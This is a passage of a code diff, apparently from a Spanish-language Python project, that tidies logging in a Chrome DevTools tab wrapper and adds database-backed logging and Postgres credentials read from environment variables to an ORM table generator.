f.write(base64.b64decode(data))
|
||||||
print(f"📸 Screenshot guardado como {output_path}")
|
if self.verbose:
|
||||||
|
print(f"📸 Screenshot guardado como {output_path}")
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
print(f"⚠️ Error al capturar screenshot: {e}")
|
print(f"⚠️ Error al capturar screenshot: {e}")
|
||||||
|
|
||||||
async def cerrar(self):
|
async def cerrar(self):
|
||||||
try:
|
try:
|
||||||
await self.websocket.close()
|
if not self.websocket.closed:
|
||||||
print("🛑 WebSocket cerrado.")
|
await self.websocket.close()
|
||||||
|
if self.verbose:
|
||||||
|
print("🛑 WebSocket cerrado.")
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
print(f"⚠️ Error al cerrar pestaña: {e}")
|
print(f"⚠️ Error al cerrar pestaña: {e}")
|
||||||
|
|
||||||
async def obtener_html_completo(self) -> Optional[str]:
|
async def obtener_html_completo(self) -> Optional[str]:
|
||||||
"""
|
|
||||||
Devuelve el HTML completo de la página actual.
|
|
||||||
"""
|
|
||||||
try:
|
try:
|
||||||
result = await self._enviar("Runtime.evaluate", {
|
result = await self._enviar("Runtime.evaluate", {
|
||||||
"expression": "document.documentElement.outerHTML",
|
"expression": "document.documentElement.outerHTML",
|
||||||
"returnByValue": True
|
"returnByValue": True
|
||||||
})
|
})
|
||||||
html = result["result"]["value"]
|
return result.get("result", {}).get("value")
|
||||||
print("📄 HTML completo obtenido.")
|
|
||||||
return html
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
print(f"⚠️ Error al obtener HTML: {e}")
|
print(f"⚠️ Error al obtener HTML: {e}")
|
||||||
return None
|
return None
|
||||||
|
|
||||||
|
|
||||||
async def obtener_dominio(self) -> Optional[str]:
|
async def obtener_dominio(self) -> Optional[str]:
|
||||||
"""
|
|
||||||
Devuelve el dominio (hostname) de la página actual, por ejemplo: 'example.com'.
|
|
||||||
"""
|
|
||||||
try:
|
try:
|
||||||
dominio = await self.evaluar_js("window.location.hostname")
|
dominio = await self.evaluar_js("window.location.hostname")
|
||||||
print(f"🌐 Dominio actual: {dominio}")
|
if self.verbose and dominio:
|
||||||
|
print(f"🌐 Dominio actual: {dominio}")
|
||||||
return dominio
|
return dominio
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
print(f"⚠️ Error al obtener dominio: {e}")
|
print(f"⚠️ Error al obtener dominio: {e}")
|
||||||
return None
|
return None
|
||||||
|
|
||||||
|
|
||||||
async def get_element_by_selector_node(self, selector: str) -> Optional["ElementoWeb"]:
|
async def get_element_by_selector_node(self, selector: str) -> Optional["ElementoWeb"]:
|
||||||
try:
|
try:
|
||||||
# Obtener nodo raíz del documento
|
|
||||||
doc = await self._enviar("DOM.getDocument")
|
doc = await self._enviar("DOM.getDocument")
|
||||||
root_node_id = doc["root"]["nodeId"]
|
root_node_id = doc["root"]["nodeId"]
|
||||||
|
|
||||||
# Buscar el nodo desde el DOM (más confiable que Runtime.evaluate)
|
|
||||||
result = await self._enviar("DOM.querySelector", {
|
result = await self._enviar("DOM.querySelector", {
|
||||||
"nodeId": root_node_id,
|
"nodeId": root_node_id,
|
||||||
"selector": selector
|
"selector": selector
|
||||||
})
|
})
|
||||||
node_id = result["nodeId"]
|
node_id = result.get("nodeId")
|
||||||
|
|
||||||
if not node_id:
|
if not node_id:
|
||||||
print(f"⚠️ Nodo no encontrado con selector: {selector}")
|
print(f"⚠️ Nodo no encontrado con selector: {selector}")
|
||||||
return None
|
return None
|
||||||
|
|
||||||
return ElementoWeb.from_node(self, node_id=node_id)
|
return ElementoWeb.from_node(self, node_id=node_id)
|
||||||
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
print(f"⚠️ Error al buscar nodo desde DOM.querySelector: {e}")
|
print(f"⚠️ Error al buscar nodo desde DOM.querySelector: {e}")
|
||||||
return None
|
return None
|
||||||
@@ -157,8 +190,17 @@ class Tab:
|
|||||||
for prop in props["result"]:
|
for prop in props["result"]:
|
||||||
if "value" in prop and "objectId" in prop["value"]:
|
if "value" in prop and "objectId" in prop["value"]:
|
||||||
elementos.append(ElementoWeb(self, prop["value"]["objectId"]))
|
elementos.append(ElementoWeb(self, prop["value"]["objectId"]))
|
||||||
print(f"🔍 Se encontraron {len(elementos)} elementos con el selector CSS '{selector}'.")
|
if self.verbose:
|
||||||
|
print(f"🔍 Se encontraron {len(elementos)} elementos con el selector CSS '{selector}'.")
|
||||||
return elementos
|
return elementos
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
print(f"⚠️ Error al buscar elementos por selector CSS '{selector}': {e}")
|
print(f"⚠️ Error al buscar elementos por selector CSS '{selector}': {e}")
|
||||||
return []
|
return []
|
||||||
|
|
||||||
|
async def enfocar(self):
|
||||||
|
try:
|
||||||
|
await self._enviar("Page.bringToFront")
|
||||||
|
if self.verbose:
|
||||||
|
print("🪟 Pestaña enfocada (bringToFront).")
|
||||||
|
except Exception as e:
|
||||||
|
print(f"⚠️ Error al enfocar pestaña: {e}")
|
||||||
|
|||||||
@@ -13,6 +13,30 @@ from src.ArquitectureLayer.Mapper import Mapper_base
|
|||||||
from src.ArquitectureLayer.Model import Model_base
|
from src.ArquitectureLayer.Model import Model_base
|
||||||
from src.ArquitectureLayer.Repo import Repo_base
|
from src.ArquitectureLayer.Repo import Repo_base
|
||||||
|
|
||||||
|
from src.Credenciales.postgres_credencial import PostgresCredencial # Asegúrate de tener esta clase implementada correctamente
|
||||||
|
|
||||||
|
|
||||||
|
titulo = os.getenv('DB_TITLE')
|
||||||
|
usuario = os.getenv('DB_USER')
|
||||||
|
passwrd = os.getenv('DB_PASSWORD')
|
||||||
|
host = os.getenv('DB_HOST')
|
||||||
|
port = os.getenv('DB_PORT')
|
||||||
|
db_name = os.getenv('DB_NAME')
|
||||||
|
|
||||||
|
|
||||||
|
db_credencial = PostgresCredencial(
|
||||||
|
titulo=titulo,
|
||||||
|
user=usuario,
|
||||||
|
password=passwrd,
|
||||||
|
host=host,
|
||||||
|
port=port,
|
||||||
|
dbname=db_name
|
||||||
|
)
|
||||||
|
|
||||||
|
# from entrypoint.init_db import db_credencial
|
||||||
|
from src.Logger.logger_db import LoggerDB, logger
|
||||||
|
LoggerDB(db_credencial, "logger_textos", created_by="sistema")
|
||||||
|
|
||||||
|
|
||||||
from src.base import Base # Este es tu declarative_base()
|
from src.base import Base # Este es tu declarative_base()
|
||||||
|
|
||||||
@@ -37,11 +61,11 @@ def generar_tabla_nota_para_biblioteca(biblioteca_nombre: str, vector_dim: int,
|
|||||||
Genera una tabla dinámica y modelo ORM para una biblioteca dada, con campos vectoriales y campos del sistema.
|
Genera una tabla dinámica y modelo ORM para una biblioteca dada, con campos vectoriales y campos del sistema.
|
||||||
"""
|
"""
|
||||||
try:
|
try:
|
||||||
print(f"[INFO] Generando tabla para biblioteca: '{biblioteca_nombre}' con dimensión de vector: {vector_dim}")
|
logger.info(f"Generando tabla para biblioteca: '{biblioteca_nombre}' con dimensión de vector: {vector_dim}")
|
||||||
|
|
||||||
# Nombre SQL-safe
|
# Nombre SQL-safe
|
||||||
nombre_tabla = re.sub(r"[^a-zA-Z0-9_]", "_", biblioteca_nombre.strip().lower())
|
nombre_tabla = re.sub(r"[^a-zA-Z0-9_]", "_", biblioteca_nombre.strip().lower())
|
||||||
print(f"[DEBUG] Nombre de tabla SQL-safe: '{nombre_tabla}'")
|
logger.debug(f"Nombre de tabla SQL-safe: '{nombre_tabla}'")
|
||||||
|
|
||||||
# Modelo ORM dinámico
|
# Modelo ORM dinámico
|
||||||
class NotaModel(Base, Model_base):
|
class NotaModel(Base, Model_base):
|
||||||
@@ -57,15 +81,15 @@ def generar_tabla_nota_para_biblioteca(biblioteca_nombre: str, vector_dim: int,
|
|||||||
vector = Column(Vector(vector_dim), nullable=True)
|
vector = Column(Vector(vector_dim), nullable=True)
|
||||||
vector_resumen = Column(Vector(vector_dim), nullable=True)
|
vector_resumen = Column(Vector(vector_dim), nullable=True)
|
||||||
|
|
||||||
print(f"[INFO] Modelo ORM 'NotaModel' creado para la tabla '{nombre_tabla}'")
|
logger.info(f"Modelo ORM 'NotaModel' creado para la tabla '{nombre_tabla}'")
|
||||||
print(f"[DEBUG] Columnas del modelo: {[c.name for c in NotaModel.__table__.columns]}")
|
logger.debug(f"Columnas del modelo: {[c.name for c in NotaModel.__table__.columns]}")
|
||||||
print(f"[DEBUG] Tipos de columnas: {[str(c.type) for c in NotaModel.__table__.columns]}")
|
logger.debug(f"Tipos de columnas: {[str(c.type) for c in NotaModel.__table__.columns]}")
|
||||||
print(f"[DEBUG] Claves primarias: {[c.name for c in NotaModel.__table__.primary_key]}")
|
logger.debug(f"Claves primarias: {[c.name for c in NotaModel.__table__.primary_key]}")
|
||||||
|
|
||||||
return NotaModel.__table__, NotaModel
|
return NotaModel.__table__, NotaModel
|
||||||
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
print(f"[ERROR] Error al generar la tabla y modelo ORM para '{biblioteca_nombre}': {e}")
|
logger.error(f"Error al generar la tabla y modelo ORM para '{biblioteca_nombre}': {e}")
|
||||||
raise
|
raise
|
||||||
|
|
||||||
# ----------------------
|
# ----------------------
|
||||||
|
|||||||
Reference in New Issue
Block a user